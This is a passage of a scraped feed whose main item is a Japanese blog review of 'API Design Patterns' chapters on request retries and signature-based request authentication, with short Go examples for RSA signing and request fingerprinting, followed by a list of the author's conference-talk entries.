retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \"crypto\" \"crypto/rand\" \"crypto/rsa\" \"crypto/sha256\" \"encoding/base64\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \"crypto/sha256\" \"fmt\" \"net/http\" \"strings\" \"time\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\"(request-target): %s %s\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\"host: %s\", r.Host), fmt.Sprintf(\"date: %s\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\"digest: SHA-256=%s\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \"\\n\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Platform Engineering と SRE の門 ","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\r\rイベント名: Platform Engineering Kaigi 2024\rイベントURL:https://www.cnia.io/pek2024/\r\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"運用者の各領域で向き合うLLM","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\r\rイベント名: Cloud Operator Days Tokyo 2024 \rイベントURL:https://cloudopsdays.com/","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"可観測性ガイダンス","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\r\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\rイベントURL: https://mackerelio.connpass.com/event/316449/\r\r\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\r\rもう一度読むObservability Engineering\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\r\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"書を捨てよ、現場へ出よう","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\r\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\rhttps://findy.connpass.com/event/311323/\r\r元ブログはこちら\r\rこのSRE本がすごい!2024年版\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\r\r登壇ブログはこちら\r\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"走馬灯のIaCは考えておいて","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\r\r技術的負債に向き合う Online Conference\rhttps://findy.connpass.com/event/297813/\r\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\r\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの交差点","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","contentSnippet":"Platform Engineering Meetup #5 #PFEM\rhttps://platformengineering.connpass.com/event/295048/ \r\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\r\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\r\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREからPlatform Engineerへの拡大","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\r\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\rhttps://cloudopsdays.com/\r\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\r\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \r\r登壇しかないので20分しかないのでギュッとしてしまいました。","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\r\r2023年8月3日 CloudNative Days Fukuoka 2023\rhttps://event.cloudnativedays.jp/cndf2023\r\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\r\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Native の作法","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","contentSnippet":"2023年7月13日 \r\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\r\r\r開発生産性Conference の登壇資料\rhttps://findy.connpass.com/event/283417/","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2023年もSRE再考と叫びなさい‼️","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\r\r2023年3月3日 エンジニア文化祭 2023\rhttps://forkwell.connpass.com/event/272596/\r\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - じゃあ、おうちで学べる\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"自由研究には向かないウェブオペレーション ","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","contentSnippet":"自由研究には向かないウェブオペレーション サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\r\r2023年2月18日\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\rhttps://forkwell.connpass.com/event/273179/\r\rあとがき\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":" ポストモーテムはじめました","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\r\r2023年02月09日\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch LT\rhttps://findy.connpass.com/event/273197/\r\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"セキュア・バイ・デザインの鳴くところ","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","contentSnippet":"セキュア・バイ・デザインの鳴くところ\r安全なソフトウェアを全体から考えるみるで候\r\rOWASP Fukuoka Meeting #9\rhttps://owasp-kyushu.connpass.com/event/266585/\r\r副読ブログ\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"cobra は便利になっている","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","contentSnippet":"2022年3-shake SRE Tech Talk #4\rhttps://3-shake.connpass.com/event/253028/","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","contentSnippet":"OWASP Fukuoka Meeting #6 \rhttps://owasp-kyushu.connpass.com/event/244388/ \r#owaspfukuoka","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Observability Conference 2022 に登壇しました","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/Reckoner.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/Reckoner.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/Reckoner.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/Reckoner.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/SatohJohn.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/SatohJohn.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/SatohJohn.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/SatohJohn.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/Sreake.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/Sreake.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/Sreake.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/Sreake.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/atsuya0.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/atsuya0.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/atsuya0.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/atsuya0.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/atusy.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/atusy.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/atusy.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/atusy.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/bayobayo0324.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/bayobayo0324.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/bayobayo0324.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/bayobayo0324.json diff --git a/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/bells17.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/bells17.json new file mode 100644 index 0000000000..703b27086f --- /dev/null +++ b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/bells17.json @@ -0,0 +1 @@ +{"pageProps":{"member":{"id":"bells17","name":"bells17","role":"Software Engineer","bio":"Software Engineer","avatarSrc":"/avatars/bells17.jpeg","sources":["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],"includeUrlRegex":"","twitterUsername":"bells17_","githubUsername":"bells17","websiteUrl":"https://bells17.io/"},"postItems":[{"title":"コミュニティ紹介: Kubernetes Meetup Novice","link":"https://speakerdeck.com/bells17/komiyuniteishao-jie-kubernetes-meetup-novice","contentSnippet":"Cloud Native Days Winter 2024のCommunity & Beginner LTでお話した資料です。\r\rhttps://pfem.notion.site/CNDW2024-Community-Beginner-LT-13821b0141e0800cb403c880cb4d2738","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"bells17","authorId":"bells17"},{"title":"社内活動の取り組み紹介~ スリーシェイクでこんな取り組みしてます ~","link":"https://speakerdeck.com/bells17/she-nei-huo-dong-noqu-rizu-mishao-jie-surisieikudekonnaqu-rizu-misitemasu","contentSnippet":"CloudNative Days Winter 2024 船上LT会 小さな一歩、大きな飛躍〜クラウドネイティブを継続する〜 で発表したLT資料です。\rhttps://cloudnativedays.connpass.com/event/334620/","isoDate":"2024-11-26T05:00:00.000Z","dateMiliSeconds":1732597200000,"authorName":"bells17","authorId":"bells17"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","contentSnippet":"技育CAMPアカデミアでの発表資料です\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes Code Contribution入門","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\rhttps://k8s-novice-jp.connpass.com/event/317561/\r\r配信URL:\rhttps://www.youtube.com/live/sRLG9ufaZ4M","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Dev ContainersとTestcontainers","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\rhttps://techfeed.io/events/techfeed-experts-night-28","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"Dev Containerを使ってみよう","link":"https://zenn.dev/bells17/articles/devcontainer-2024","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"アーキテクチャから学ぶKubernetesの全体像","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\r\r- https://event.shoeisha.jp/devsumi/20240215\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\r\rセッション解説記事:\rhttps://codezine.jp/article/detail/19131","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\r\rその他リンク:\r\rhttps://github.com/kubernetes/sample-controller\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\r\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \rhttps://github.com/coredns/coredns/tree/v1.11.1 \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \r\rセッション内容の詳しい資料:\rhttps://bells17.booth.pm/items/3129761\rhttps://bells17.booth.pm/items/2649601\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\rhttps://speakerdeck.com/bells17/kube-proxyru-men\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\rhttps://speakerdeck.com/bells17/introduction-to-csi\rhttps://speakerdeck.com/bells17/kubelet-and-containers\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"KubernetesとCoreDNSについて理解する","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\r\rイベントURL: https://3-shake.connpass.com/event/302755/\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \rhttps://github.com/coredns/coredns/tree/v1.11.1 \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"Chainguard imagesについて調べてみた","link":"https://zenn.dev/bells17/articles/chainguard-images","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard 